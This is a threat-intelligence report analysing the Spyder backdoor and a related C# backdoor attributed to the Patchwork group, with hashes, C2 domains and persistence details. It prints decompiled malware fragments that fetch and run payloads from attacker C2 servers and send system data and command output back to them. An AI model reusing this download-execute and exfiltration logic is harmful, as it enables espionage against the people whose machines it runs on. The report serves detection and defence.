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ti.qianxin.com/blog/articles/Patchwork-Group-Utilizing-WarHawk-Backdoor-Variant-Spyder-for-Espionage-against-Multiple-Countries-EN/

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数据驱动安全

Background

Patchwork, also known as Patchwork, White Elephant, Hangover, Dropping Elephant, and internally tracked as APT-Q-36 by QiAnXin, is an group widely believed to have a South Asian origin. Its earliest known cyber-attacks can be traced back to November 2009, and it has remained active for over a decade. The group primarily conducts cyber espionage activities targeting countries in the Asian region, focusing on government, military, power, industrial, research and education, diplomatic, and economic groups.

Overview

Recently, during routine sample tracking and analysis, the Threat Intelligence Center at QiAnXin identified a batch of malicious samples linked to Patchwork. Surprisingly, the backdoor used by the attackers was not the typical Trojan previously associated with the Patchwork group. Coincidentally, foreign security researchers also discovered a few of these samples ^[1] and named the backdoor "Spyder" based on information found in the command-and-control (C2) server login interface. They also noted similarities between the samples and the WarHawk backdoor. The latter was revealed in a report published by Zscaler in October of the previous year ^[2], and it is considered to be an offensive weapon used by another South Asian APT group, Sidewinder.

Axel F @Axel_F5							
#Spyder malware looks to be an update of #WarHawk malware from #Sidewinder #APT If4b225813616fbb087ae211e9805baf BAF Operations Report CamScannerDocument.exe c2 hxxp[:]//plainboardssixty[.]com/drive/bottom.php							
Spyder Framework Login	× +	- • X					
← → C ▲ Not secu	re plainboardssixty.com/drive/login.php 🗠 🖈 🌲	Error :					
	SPYDEr						
	Username Password						
	Login	•					

Based on the digital signatures used in early Spyder samples and their association with Remcos RAT samples, we are inclined to believe that the Patchwork group is behind these attacks. Furthermore, we discovered another lightweight C#-based backdoor used by the attackers through an IP address.

Detailed Analysis

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The captured Spyder samples have the following basic information:

MD5	Creation Time	Digital Signature	File Name

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eb9068161baa5842b40d5565130526b9	2023-04- 09 19:36:29 UTC	Yes	LIST OF SIGNAL ADDRESSES, CALL SIGN 10 Apr 2023.exe
87d94635372b874f18acb3af7c340357	2023-04- 13 09:20:42 UTC	Yes	PN SHIP OVERSEAS DEPLOYMENT PLAN TO FAR EAST CHINA.exe
1fa3f364bcd02433bc0f4d3113714f16	2023-04- 30 17:34:16 UTC	Yes	Rocket Launch System THE UPDT LIST OF MLRS PROBexe
1f599f9ab4ce3da3c2b47b76d9f88850	2023-06- 07 07:24:01 UTC	No	Read-Me New Naxal VPN Configration Settings.exe
53b3a018d1a4d935ea7dd7431374caf1	2023-06- 13 09:22:05 UTC	No	Read-Me New Naxal VPN Configration Settings.exe
1f4b225813616fbb087ae211e9805baf	2023-06- 13 09:2 22:05 UTC	Yes	BAF Operations Report CamScannerDocument.exe

The above samples are disguised as Word, Excel, PDF, and other document icons. Based on sample size, creation time, and code similarity, they can be classified into two categories: the original version (April samples) and the new version (June samples) with some code modifications. Considering the sample names, the location of VirusTotal uploads, and configuration information within the samples, the targets of the Spyder backdoor include China, Pakistan, Nepal Police Department, and the Bangladesh Air Force.

Spyder New Version

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The June attack samples are almost identical, including the C2 information, with only some differences in the configuration data. The following sample will be analyzed as an example:

MD5 1f599f9ab4ce3da3c2b47b76d9f88850

File Size 380928 bytes (372.00 KB)

File Type PE32 EXE

To start, the backdoor retrieves data from the "TRUETYPE" category under the "FONTS" file resource. It uses "ROUND9" as the XOR decryption key to decrypt a series of configuration data.



The decrypted data includes the backdoor agent code (the first 4 bytes in the configuration data, with a value of "3"), mutex name, and C2 communication URL.

Offset(h)	00	01	02	03	04	05	06	07	08	09	0A	0B	0C	0D	0E	OF	对应文本
00000000	03	00	00	00	7A	4C	67	52	32	50	72	76	72	70	32	6C	zLgR2Prvrp21
00000010	35	4E	52	70	35	78	36	6A	77	50	48	4F	00	00	00	00	5NRp5x6jwPH0
00000020	00	00	00	00	00	00	00	00	00	00	00	00	68	74	74	70	http
00000030	3A	2F	2F	70	6C	61	69	6E	62	6F	61	72	64	73	73	69	://plainboardssi
00000040	78	74	79	2E	63	6F	6D	2F	64	72	69	76	65	2F	62	6F	xty.com/drive/bo
00000050	74	74	6F	6D	2E	70	68	70	00	00	00	00	00	00	00	00	ttom.php
00000060	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	
00000070	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	
00000080	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	
00000090	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	
000000 A 0	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	

In addition to obtaining key strings from the configuration data, the backdoor commonly uses XOR encryption to decrypt required strings.



After creating a mutex using CreateMutexA, the backdoor begins collecting information related to the infected device. The collected information, as well as the methods used to obtain them, are as follows:

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Information Type	Method of Retrieval
Machine GUID	Querying the data from HKLM\SOFTWARE\Microsoft\Cryptography\MachineGuid in the registry
Hostname	Calling GetComputerNameExW
Username	Calling GetUserNameW
System Version	Query the data from HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion in the registry, under ProductName.
System Architecture	Call the GetNativeSystemInfo function.

Antivirus Information	Retrieve the data through WMI query in root\SecurityCenter2
Profile	Retrieve from the decrypted configuration data in the resource section
Mail	Retrieve from the decrypted configuration data in the resource section

Encode the above information separately using the Y64 variant of Base64 encoding.

; char <mark>aAbcdefghijklmn</mark>[] <mark>aAbcdefghijklmn</mark> db 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789._',0

Send a POST request to the URL used for C2 communication

("hxxp://plainboardssixty.com/drive/bottom.php"), and the transmitted information includes the Machine GUID and the email address from the configuration data. If the response is "1," the backdoor enters a sleep state directly.



Copy the current file as the "DIIHostcache" file under the directory

"C:\Users[user_name]\AppData\Roaming" and create a series of scheduled tasks that run at a specified time on the next day.

400		
198	v18 = L"Microsoft Corporation. All rights reserved	.";
199	v105 = sub_4015E0((LPCCH)(g_rsc_decode_data + 0x22	C));// DIIHostcache
200	v19 = L"Microsoft Corporation. All rights reserved	.";
201	v20 = L"Attribute Utility 10";	
202	<pre>v111 = *(LPCSTR *)g_rsc_decode_data;</pre>	的config最开始4子节为一个整型数
203	if (*(_DWORD *)g_rsc_decode_data == 3)	
204	v19 = L"2017 Microsoft Corporation. All rights r	eserved.";
205	if (*(_DWORD *)g_rsc_decode_data == 3)	
206	<pre>v20 = (OLECHAR *)L"WMI Provider Host 10";</pre>	
207	<pre>sub_401970(v105, v20, (int)&savedregs, (int)v19, (</pre>	int)L"10:00:00", (int)v19);
208	<pre>v21 = L"Attribute Utility 11";</pre>	
209) if (v111 == (LPCSTR)3)	
210	<pre>v21 = (OLECHAR *)L"WMI Provider Host 11";</pre>	
211	sub_401970(v105, v21, (int)&savedregs, (int)v19, (int)L"11:00:00", (int)v19);
212	<pre>v22 = L"Attribute Utility 12";</pre>	
213	if (v111 == (LPCSTR)3)	
214	<pre>v22 = (OLECHAR *)L"WMI Provider Host 12";</pre>	
215	sub_401970(v105, v22, (int)&savedregs, (int)v19, (int)L"12:00:00", (int)v19);
216	<pre>v23 = L"Attribute Utility 13";</pre>	
217	<pre>if (v111 == (LPCSTR)3)</pre>	
218	v18 = L"2017 Microsoft Corporation. All rights r	eserved";
219	if (v111 == (LPCSTR)3)	
220	<pre>v23 = (OLECHAR *)L"WMI Provider Host 13";</pre>	
221	sub_401970(v105, v23, (int)&savedregs, (int)v19, (int)L"13:00:00", (int)v18);
222	<pre>v24 = L"Attribute Utility 14";</pre>	
223	if (v111 == (LPCSTR)3)	
224	<pre>v24 = (OLECHAR *)L"WMI Provider Host 14";</pre>	
225	sub_401970(v105, v24, (int)&savedregs, (int)v19, (int)L"14:00:00", (int)v19);
226	GlobalFree(v105);	
	1	
(G) WM	MI Provider Host 10 准备就绪在 2023/6/13 的 10:00 时 2023/6/13 10:00:00 不显示	2017 Microsoft Corporation. All rights reserved.
	MIProvider Host 11 准备就结 在 2023/6/13 的 12:00 时 2023/6/13 11:00:00 不显示 MIProvider Host 12 准备就线 在 2023/6/13 的 12:00 时 2023/6/13 12:00:00 不显示	2017 Microsoft Corporation. All rights reserved.
@ WM	MI Provider Host 13 准备就绪 在 2023/6/13 的 13:00 时 2023/6/13 13:00:00 不显示	2017 Microsoft Corporation. All rights reserved
[®] WM	MI Provider Host 14 准备就绪在 2023/6/13 的 14:00 时 2023/6/13 14:00:00 不显示	2017 Microsoft Corporation. All rights reserved.
常规	触发器 操作 条件 设置 历史记录(已禁用)	
승당분사	≢仟各时,必须指完仟各启动时发生的爆作。若要更改这些爆作,使用"属性"命会打开仟各届性而	

启动程序 C:\Users AppData\Roaming\DllHostcache

Return the collected information before.

详细信息

操作



Field Name Meaning

hwid Machine GUID

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username	Username
compname	Hostname
osname	System Version
arch	System Architecture
av	Antivirus Information
agent	Backdoor Agent Code in the configuration data (with a value of "3")
profile	Profile Information in the configuration data
mail	Email Address in the configuration data

Then enter a while loop. In each iteration, first download a file from another URL in the configuration data, "hxxp://plainboardssixty.com/drive/chilli.php," and save it in the Startup directory. If the download is successful, run the file.

14	SHGetKnownFolderPath(&stru_4422C0, 0, 0, &var_startup);// FOLDERID_Startup
15	<pre>memset(String1, 0, sizeof(String1));</pre>
16	<pre>lstrcpyW(String1, var_startup);</pre>
17	<pre>lstrcatW(String1, L"\\weiboo.exe");</pre>
18	<pre>v0 = (const CHAR *)(g_rsc_decode_data + 0x3EC);// http://plainboardssixty.com/drive/chilli.php</pre>
19	<pre>lpString = (const CHAR *)(g_rsc_decode_data + 0x3EC);</pre>
20	<pre>v1 = lstrlenA((LPCSTR)(g_rsc_decode_data + 0x3EC));</pre>
21	v2 = MultiByteToWideChar(0xFDE9u, 0, v0, v1, 0, 0);
22	<pre>v7 = (WCHAR *)GlobalAlloc(0x40u, 2 * v2 + 2);</pre>
23	<pre>v3 = lstrlenA(lpString);</pre>
24	MultiByteToWideChar(0xFDE9u, 0, lpString, v3, v7, v2);
25	if (!URLDownloadToFileW(0, v7, String1, 0, 0))
26	
27	<pre>v4 = lstrlenW(String1);</pre>
28	v5 = (WCHAR *)GlobalAlloc(0x40u, 2 * v4 + 64);
29	wsprintfW(v5, L"/k \"%s\"", String1);
30	CoInitializeEx(0, 6u);
31	<pre>ShellExecuteW(0, L"open", L"cmd.exe", v5, 0, 0);</pre>
32	CoUninitialize();
33	}
34	GlobalFree(v7);
35	return 0;
36	}
	00002490 MwDownloadExec:3 (403090) (Synchronized with IDA View-A, Hex View-1)

After that, there are multiple interactions with C2 to download and execute subsequent payloads. The interaction process is as follows.

(1) Retrieve instructions

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Send "hwid=%s&deploy=1" to C2 to receive the returned instructions. The backdoor provides three types of instructions: "1," "2," and "3." All three instructions are used to obtain and execute subsequent payloads.



(2) Obtain the compressed package name and extraction password containing the subsequent payload

After selecting a specific instruction, send "hwid=%s&deploy=%d&bakmout=1" to C2. The "hwid" field is still the encoded Machine GUID, and the "deploy" field corresponds to the selected instruction number.

The response message is a JSON string that contains the "name" and "pass" fields, which correspond to the compressed package name and extraction password, respectively.

(3) Download and extract the compressed package

Download the compressed package from the URL

"hxxp://plainboardssixty.com/drive/[name].zip" using the password stored in the "pass" field. The downloaded compressed package and the extracted files are saved in the "C:\Users[user_name]\AppData\Local" directory. Then, run the extracted file.

173	<pre>wsprintfW(v61, L"%hs://%hs%hs/%hs.zip", &g_str_http, g_str_server, g_str_url, *((_DWORD *)v53 + 4));</pre>
174	<pre>lstrcpyW(v62, g_folder_LocalAppdata);</pre>
175	lstrcatW(v62, L"\\");
176	lstrcatW(v62, a2);
177	<pre>v53 = (CHAR *)MwDownloadData(v61, (size_t *)&v52);</pre>
178	v27 = CreateFileW(v62, 0x10000000u, 1u, 0, 2u, 0x80u, 0);
179	WriteFile(v27, v53, (DWORD) <mark>v52</mark> , &v57[1], 0);
180	CloseHandle(v27);
181	v28 = lstrlenW(v62);

(4) Notify C2 of the completion of the operation

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Send "hwid=%s&deploy=0" to C2 to indicate that the downloaded payload has been executed. Delete the downloaded compressed package, sleep for 2 seconds, and proceed to the next iteration of the loop.



The detailed explanations of the backdoor instructions are as follows:

Instruction Description

"1"	The locally saved name for the downloaded compressed package is "slr.zip." The "1.bin" file in the package is extracted and saved as "slb.dll," and the exported function "CreateInterface" of the DLL is run using rundll32.
"2"	The locally saved name for the downloaded compressed package is "slr_2.zip." The "2.bin" file in the package is extracted and saved as "sihost.exe," and the EXE file is run.
"3"	The locally saved name for the downloaded compressed package is "slr_3.zip." The "3.bin" file in the package is extracted and saved as "secd.exe," and the EXE file is run.
Other	No operation.

Two additional samples in June are almost identical to the previous sample, with the following differences:

(1). The names of the mutex, profile, and email in the configuration data are different.

(2). The saved name for the downloaded file from "hxxp://plainboardssixty.com/drive/chilli.php" at the beginning of the loop is "gameinput.exe."

(3).The file release names for instructions "2" and "3" are "Microsoft.Web.PageInspector.exe" and "DocumentFormat.OpenXml.exe," respectively, and they are saved in the "Microsoft.Web" subdirectory under "AppData\Local."

Spyder Original Version

The original version from April has minimal differences compared to the updated version in June, as outlined below:

(1). The critical strings used in the configuration are XOR decrypted in the initialization function, rather than being decrypted from the resource area as in the updated version.

```
15 v0 = (int *)NtCurrentTeb()->ThreadLocalStoragePointer;
   v7 = xmmword_44EB30;
16
17
   v8 = 0xCADC2A9F;
18 v1 = *v0;
    v9 = 0 \times 30 BBA2BF;
19
   v10 = -23;
20
   LODWORD(v2) = *(_DWORD *)(v1 + 348);
21
22
   v3 = v1 + 352;
    if ( (v2 & 1) == 0 )
23
24
    {
      *(_DWORD *)(v1 + 348) = v2 | 1;
25
26
      v11 = 0;
27
      sub_4041D0(&v7);
      LODWORD(v2) = __tlregdtor(sub_441FB0);
28
29
    }
    if ( *(_BYTE *)(v3 + 25) )
30
31
    {
      v4 = 0;
32
33
      v5 = 0;
34
      do
35
      {
36
       v2 = 0x55D5CD91AFBF43E9ui64 >> (8 * (v5 & 7));
37
        *(_BYTE *)(v5 + v3) ^= v2;
38
        v4 = (__PAIR64__(v4, v5++) + 1) >> 32;
39
      }
     while ( __PAIR64__(v4, v5) < 0x19 );
*(_BYTE *)(v3 + 25) = 0;
40
41
42
   }
43
    g_server = (LPCSTR)v3;
                                                     // cloudplatfromservice.one
44
   return v2;
45}
  000006B0 sub_4012B0:12 (4012B0) (Synchronized with IDA View-A, Hex View-1)
```

(2). There is no interaction with C2 and no operation to select whether to enter a sleep state before creating scheduled tasks and returning collected information.

104	<pre>GetModuleFileNameW(0, (LPWSTR)lpExistingFileName, 0x1000u);</pre>	
105	<pre>v5 = CreateMutexW(0, 1, L"Local\\\$qH636Ei8jmOvmtm4\$");</pre>	
106	if (GetLastError() != 183)	
107	{	
108	<pre>MwCollectInfo((int)&savedregs);</pre>	
109	<pre>sub_401D80((OLECHAR *)L"NVIDIA ShadowPlay Helper 10", (int)&savedregs, v4, (in</pre>	t)L"10:00:00");
110	<pre>sub_401D80((OLECHAR *)L"NVIDIA ShadowPlay Helper 11", (int)&savedregs, v4, (int)</pre>	t)L"11:00:00");
111	sub 401D80((OLECHAR *)L"NVIDIA ShadowPlay Helper 12", (int)&savedregs, v4, (in	t)L"12:00:00");
112	sub 401D80((OLECHAR *)L"NVIDIA ShadowPlay Helper 13", (int)&savedregs, v4, (int)	t)L"13:00:00");
113	sub 401D80((OLECHAR *)L"NVIDIA ShadowPlay Helper 14", (int)&savedregs, v4, (int)	t)L"14:00:00");
114	<pre>v6 = lstrlenA(g encode machine guid);</pre>	
115	v7 = 1strlenA(g encode email) + v6;	
116	v8 = lstrlenA(g encode profile) + v7; A $H = 1$	关大
117	$y_9 = lstrlenA(g encode av info) + y_8;$ 4月1	++
181	<pre>v13 = CreateMutexA(0, 1, (LPCSTR)(g_rsc_decode_data + 4));// zLgR2Prvrp2l5NRp5x6</pre>	jwPHO
182	if (GetLastError() != 183)	
183	{	
184	MwCollectInfo((int)&savedregs); // collect info	
185	<pre>v14 = lstrlenA(g_encode_machine_guid);</pre>	
186	<pre>v15 = lstrlenA(g_encode_email);</pre>	
187	v16 = (CHAR *)GlobalAlloc(0x40u, 2 * (v15 + v14));	
188	<pre>wsprintfA(v16, "hwid=%s&mail=%s", g_encode_machine_guid, g_encode_email);</pre>	
189	<pre>memset(String1, 0, sizeof(String1));</pre>	
190	v17 = lstrlenA(v16);	
191	MwPostRequest(v16, v17, (int)String1, 0x1000u);	
192	GlobalFree(v16);	
193	if (!lstrcmpA(String1, "1")) // 啊应为"1",则进入休眠死循环	
194		
195	while (1)	
196	Sleep(2000u);	
197	}	
198	v18 = L"Microsoft Corporation. All rights reserved.";	
199	<pre>v105 = sub_4015E0((LPCCH)(g_rsc_decode_data + 0x22C));// D11Hostcache</pre>	
200	v19 = L"Microsoft Corporation. All rights reserved.";	
201	v20 = L"Attribute Utility 10";	-
202	v111 = *(LPCSIR *)g_rsc_decode_data; // 解密的contig取开始4子中为一个整型级	x
203	<pre>if (*(_DWORD *)g_rsc_decode_data == 3)</pre>	
204	v19 = L"201/ Microsoft Corporation. All rights reserved.";	
205	<pre>it (*(_DWORD *)g_rsc_decode_data == 3)</pre>	
206	V20 = (ULECHAR ")L'INNI Provider Host 10";	
207	sub_401970(v105, v20, (int)&savedregs, (int)v19, (int)L"10:00:00", (int)v19);	
208	V21 = L ATTRIDUTE UTILITY II ;	
209	it (viii = (LPCSIR)3)	6月杆本
210	V21 = (ULECHAR *)L_WM1 Provider Host 11";	
211	sub_401970(v105, v21, (int)&savedregs, (int)v19, (int)L"11:00:00", (int)v19);	

(3). The loop for communication with C2 does not involve downloading and executing payloads from an additional URL.

(4). Although both versions have a consistent format for returning information, the profile in the original version is just a code, and the mail field does not contain an email name, unlike the updated version where they have clear references.

MD5	eb9068161baa5842b40d5565130526b9
C2	(Communication) hxxp://gclouddrives.com/spyder/smile.php (Download URL) hxxp://gclouddrives.com/spyder/[name].zip
profile	TS-001
mail	Ν
-	-
MD5	87d94635372b874f18acb3af7c340357
C2	(Communication) hxxp://alibababackupcloud.com/spyder/smile.php (Download URL) hxxp://alibababackupcloud.com/spyder/[name].zip
profile	TS-002
mail	Ν
-	-
MD5	1fa3f364bcd02433bc0f4d3113714f16
C2	(Communication) hxxp://cloudplatfromservice.one/cpidr/balloon.php (Download URL) hxxp://cloudplatfromservice.one/cpidr/[name].zip

The configuration data for the April sample is as follows:

mail N

profile

It is worth noting that the C2 path in the early samples also contains the string "spyder," and the profiles in the samples follow the "TS-" format. The missing codes in between suggest that the April attack likely had other victims as well.

TS-004

The Spyder backdoor shares some similarities with the WarHawk backdoor disclosed by Zscaler^[2], but there are significant differences in the operations corresponding to the backdoor instructions.

1. Similarities

(1) Both backdoors utilize similar functions to send POST requests to C2, and they use the same User Agent.



(2) The collected device information is similar, and both backdoors use the hwid (Machine GUID) as the victim identifier in C2 communication.

280	wsprintfA(
281	v62,	
282	"{ \" hwid\": \"%s\", \" computer\": \"%s\", \	\" username\": \"%s\", \" os\": \"%s\" }",
283	g_HW_PROFILE_INFO.szHwProfileGuid,	
284	g_cmpname,	
285	g_username,	
286	<pre>g_os_version);</pre>	WarHawk后门
287	<pre>memset(String1, 0, sizeof(String1));</pre>	
235	if (g_is_64_arch)	
236	wsprintfA(
237	v32,	
238	"hwid=%s&username=%s&compname=%s&osname=%s	&arch=1&av=%s&agent=%i&profile=%s&mail=%s",
239	g_encode_machine_guid,	
240	g_encode_username,	
241	g_encode_cmpname,	
242	g_encode_os_version,	
243	g_encode_av_info,	
244	<pre>*(_DWORD *)g_rsc_decode_data,</pre>	
245	g_encode_profile,	
246	<pre>g_encode_email);</pre>	
247	else	
248	wsprintfA(
249	v32,	
250	"hwid=%s&username=%s&compname=%s&osname=%s&	&arch=0&av=%s&agent=%i&profile=%s&mail=%s",
251	g_encode_machine_guid,	
252	g_encode_username,	
253	g_encode_cmpname,	
254	g_encode_os_version,	
255	g_encode_av_info,	
256	<pre>*(_DWORD *)g_rsc_decode_data,</pre>	
257	g_encode_profile,	
258	g_encode_email);	Spyder后门
259	<pre>memset(String1, 0, sizeof(String1));</pre>	

(3) The C2 instructions for both backdoors use numeric characters to differentiate different operations, and the issued C2 instructions are in JSON format.

2. Differences

The differences between the two backdoors lie in the distribution and specific functionality of the backdoor instructions. The WarHawk backdoor calls functions to implement each instruction in a sequential manner. Each function first queries the C2 server to determine whether to perform the operation and then executes or skips it based on the server's response. The following code snippet illustrates the relevant code for the WarHawk backdoor.



The WarHawk backdoor supports functionalities such as downloading and executing subsequent payloads, command execution, collecting and returning file information, and file downloading. In contrast, the Spyder backdoor primarily focuses on downloading and executing subsequent payloads.

Source Attribution

Ownership

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The early sample of the Spyder backdoor (MD5: eb9068161baa5842b40d5565130526b9) carries a digital signature of "Integrated Plotting Solutions Limited," which has also been used by other samples associated with the Mokha Grass threat actor.

数字签名详细信息 ? 工		
常规高级		
数字签名信 一个副署无	言息 效。文件可能已更改	ζ.
登名人信息 (S) —		
名称:	Integrated Plott	ing Solutions Limited
电子邮件:	offers@plotting-	solutions.com
签名时间:	2023 年 4 月	10 🗄 14:44:29
		查看证书(V)
副署 (V)		
签名人姓名:	电子邮件地址:	时间戳
Sectigo RSA	. 不可用	2023年4月10日 1
		详细信息 (0)
		确定

Additionally, another sample of the Spyder backdoor (MD5:

-

87d94635372b874f18acb3af7c340357) is associated with a Remcos trojan sample based on the digital signature "HILLFOOT DEVELOPMENTS (UK) LTD."

File Name	smss.exe
MD5	acbae6919c9ce41f45ce0d1a3f3fedd4

Creation Time	2023-04-17 15:47:39 UTC
Digital Signature Time	2023-04-18 07:24:00 UTC
File Size	1026840 bytes (1002.77 KB)

This sample initially creates a series of scheduled tasks, similar to the behavior observed in the Spyder backdoor.

```
101
     sub_4087A0(
       L"glassdoor.exe",
102
       (OLECHAR *)L"Glass Door Service 10",
103
       (int)L"10:00:00",
104
105
      (OLECHAR *)L"Copyright 2018 Glass Door LLC.");
    sub_4087A0(
   L"glassdoor.exe",
106
107
108
       (OLECHAR *)L"Glass Door Service 11",
109
       (int)L"11:00:00",
       (OLECHAR *)L"Copyright 2018 Glass Door LLC.");
110
111 sub_4087A0(
112
      L"glassdoor.exe",
       (OLECHAR *)L"Glass Door Service 12",
113
114
       (int)L"12:00:00",
115
      (OLECHAR *)L"Copyright 2018 Glass Door LLC.");
116 sub_4087A0(
117
      L"glassdoor.exe",
118
       (OLECHAR *)L"Glass Door Service 13",
       (int)L"13:00:00",
119
120
      (OLECHAR *)L"Copyright 2018 Glass Door LLC.");
121 sub_4087A0(
       L"glassdoor.exe",
122
123
       (OLECHAR *)L"Glass Door Service 14",
124
      (int)L"14:00:00",
       (OLECHAR *)L"Copyright 2018 Glass Door LLC.");
125
126 sub_4087A0(
127
       L"glassdoor.exe",
       (OLECHAR *)L"Glass Door Service 14",
128
129
       (int)L"14:00:00",
130
       (OLECHAR *)L"Copyright 2018 Glass Door LLC.");
```

Then, decrypt the PE file data of the Remcos trojan and load it into memory for execution.



The Mokha Grass group has also been known to use the Remcos trojan in their previous attack campaigns. Considering these pieces of evidence, we believe that the group behind the Spyder backdoor attack activities is likely the Mokha Grass group.

Other Associated Samples

The C2 for the aforementioned Remcos trojan sample is 192[.]169.7.142:80.

文件(F) 视图(V) 调试(D) 跟踪	(08) 插件(P) 收藏夹(I)	选项(0) 帮助(H) Apr 17 2021 (TitanEngine)		
😂 🗐 🔳 🔿 🖩 🍷 み 🐲	🎍 💲 📲 📓 🥖 🚍	🧼 🥒 fx # A1 🕵 🗐 👮		
🖾 CPV 📝 日志 📋 笔记	 ・ ・ ・	🗐 调用堆栈 🛛 🐄 SEH链 🛛 🗑 脚本 🛛 🗐 符号	◇ 源代码 🖉 引用 🔰	🕽 线程 🛛 🛃 👔 銀踪
EIP >• 74FC6BDD <v< th=""><th>8BFF</th><th>mov edi,edi</th><th>connect</th><th>隐藏FPU</th></v<>	8BFF	mov edi,edi	connect	隐藏FPU
	3 BBC 8 BEC 8 3EC 18 57 8 045 E8 50 5 EC 50 5 EC 50 5 EC 50 5 EC 50 75 6C FF75 8 BAC3 FFFF 8 BAC3 FFF 8 BAC3 FFFF 8 BAC3 FFFFF 8 BAC3 FFFFF 8 BAC3 FFFFFF 8 BAC3 FFFFFF 8 BAC3 FFFFFFF 8 BAC3 FFFFFF 8 BAC3 FFFFFF 8 BAC3 FFFFFFF 8 BAC3 FFFFFFFFFFF 8 BAC3 FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF	puritep push ebp push ecit push ecit push ecit push ecit push ecit push ecit push ecit push ecit call dword ptr ss:[ebp-14] push dword ptr ss:[ebp-4], eax crowedi, ecit mov dword ptr ss:[ebp-4], eax crowedi, ecit push dword ptr ss:[ebp-6], ffffffff push dword ptr ss:[ebp-6], ffffffff push esit push esit push esit ptr ss:[ebp-6], fffffffff push esit push esit pu		Eax 00623560 EEX 0000000 ECX 004734E8 ac.004734E8 EDX 0000000 EBP 0018F1EC ESP 0018F1B8 ESI 004734E8 ac.004734E8 EDI 004734E8 ac.004734E8 EII 04734E8 ac.004734E8 EIP 74FC6BD0 <ws2_32.conner EFLAGS 0000300 2F 0 FF 0 AF 0 0F 0 SF 0 0F 0 CF 0 TF 1 IF 1 LastError 00000000 (ERR0R_SUCCE: LastStatus 00000000 (STATUS_SUCC: "BN (retacut) I: [esp+4] 000000C</ws2_32.conner
edi=ac.004734E8				2: [esp+8] 00622558
: [e5p+1] 0000010 4: [esp+1] 00073298 .text:74FC6BDD ws2_32.dll:\$6BDD #61DD <connect> 5: [esp+14] 00000000</connect>				
4週内存 1 4週内存 2 4週内存 3 4週内存 4 4週内存 5 6 出视 1 10日局部定里 2 结构体 0001033310 0000048(2 回到 ac.004048c6 自 ???				
地址 十六进制 00622558 02 00 00 50 C0 A 00622568 AB AB AB AB AB AB 00622578 24 C8 9F 75 F6 6 00622578 24 C8 9F 75 F6 6	A9 07 8E 00 00 00 00 00 B AB AB 00 00 00 00 00 F 00 18 01 00 00 00 F 0 18 01 00 00 00	ASCII 00 00 00 00	▲ 0018F1C 0062255 0018F1C 000001 0018F1C 0047329 ac 0018F1C 000000 0018F1C 0000000	. 00473298

Another sample is associated with communication to the same IP and is a lightweight backdoor written in C#.

•	-
File Name	-
MD5	e3b37459489a863351d855e594df93bf
Creation Time	2075-03-07 02:18:38 UTC
VT Upload Time	2023-05-26 20:26:23 UTC
File Size	17408 bytes (17.00 KB)

The configuration data is as follows, and the URL format for communication with the C2 server is "hxxps://192.169.7.142:4546/search?q=search[<host_name>".



The Main_Load function calls the Fetch and Reply methods to implement basic backdoor functionality.



The Fetch method retrieves instruction data from the C2 server through a GET request, and then processes the retrieved data, including reversing the order, GZ decompression, and removing the string "XXPADDINGXXPADDINGXXPADDINGXX". It creates a cmd.exe process with code page set to 437 and executes the processed instruction data.



The Reply method processes the result of the cmd.exe process execution and sends it back to the C2 server through a POST request. The processing includes adding the string "XXPADDINGXXPADDINGXXPADDINGXX", GZ compression, and reversing the order.

145	private bool 🔤 0
146	
140	bool riag;
149	
150	if (Config.AllowInsecureCertificate)
151	
152	ServicePointManager. ServerCertificateValidationCallback = (object <p0>, X509Certificate <p1>, X509Chain <p2>, SslPolicyErrors <p3>) => true:</p3></p2></p1></p0>
153	
104	Service/onthemager.security/rotocol - security/rotocol/ppe.isi/
155	<pre>Httpweokequest nttpweokequest - (httpweokequest/weokequest. Greate(new uri(string, Concat(new stringL) {</pre>
157	Config.Server.
158	
159	Config.Port,
100	
162	
163	httpWebRequest.Method = "POST":
164	
165	
166	<pre>string text = this.outputBuffer;</pre>
167	this.outputBuffer = ;
108	bytell array = Main. GZCompress(Encoding. ASCII. GetBytes(XXPADDINGXYPADDINGXYPADDI
109	Array, Reverse (array):
170	nttpwonkquest.contentLengtn = (long/array.Lengtn: httpwonkquest.contentLengtn = (long/array.lengtn)
172	using (Strass repropositional), sile (through concepting), or a light beng (i), or a light be
173	
174	new StreamReader(responseStream, Encoding.UTF8).ReadToEnd():
175	
176	
178	flag = true:
179	
180	
181	
182	flag = false;
184	return flag.

This lightweight backdoor has extremely simple functionality and is likely used in conjunction with other malware during the attack process.

Furthermore, we have discovered other samples of this C# backdoor that have been uploaded to VT, with slight variations in the implementation code.

File Name	not_default_config.exe
MD5	4a25a52244f3360b0fffd0d752833bf1
Creation Time	2098-11-29 07:58:55 UTC
VT Upload Time	2023-05-09 10:01:52 UTC
File Size	56320 bytes (55.00 KB)

-

-



The C2 server in the configuration data is an internal IP, indicating that this sample may be a test version.



Summary

There are intricate connections among several APT groups in the South Asia region, and the Spyder backdoor, which targeted multiple countries in this attack, is an example. It shares many similarities with the previously disclosed WarHawk backdoor associated with the Rattlesnake group. Based on the digital certificates found in early samples and the associated Remcos trojan samples, it is more likely that the Spyder backdoor originates from the Mokha Grass group. Furthermore, we have identified other backdoors through the infrastructure used by the attackers, indicating their continuous expansion of their arsenal.

Protection Recommendations

QiAnXin Threat Intelligence Center reminds users to be cautious of phishing attacks, avoid opening links from unknown sources shared on social media, refrain from executing email attachments from unknown origins, avoid running unknown files with exaggerated titles, and avoid installing apps from unofficial sources. It is important to regularly back up important files and keep software up to date with the latest patches.

If it is necessary to run an application from an unknown source, it is recommended to first use the QiAnXin Threat Intelligence File Deep Analysis Platform (https://sandbox.ti.qianxin.com/sandbox/page) for verification. The platform currently supports in-depth analysis of various file formats, including Windows and Android platforms.

Currently, all products based on QiAnXin Threat Intelligence Center's threat intelligence data, including QiAnXin Threat Intelligence Platform (TIP), TianQing, TianYan Advanced Threat Detection System, QiAnXin NGSOC, and QiAnXin Situational Awareness, support precise detection of such attacks.



IOC

MD5
(Spyder)
eb9068161baa5842b40d5565130526b9
87d94635372b874f18acb3af7c340357
1fa3f364bcd02433bc0f4d3113714f16
1f599f9ab4ce3da3c2b47b76d9f88850
53b3a018d1a4d935ea7dd7431374caf1
1f4b225813616fbb087ae211e9805baf
(Remcos)
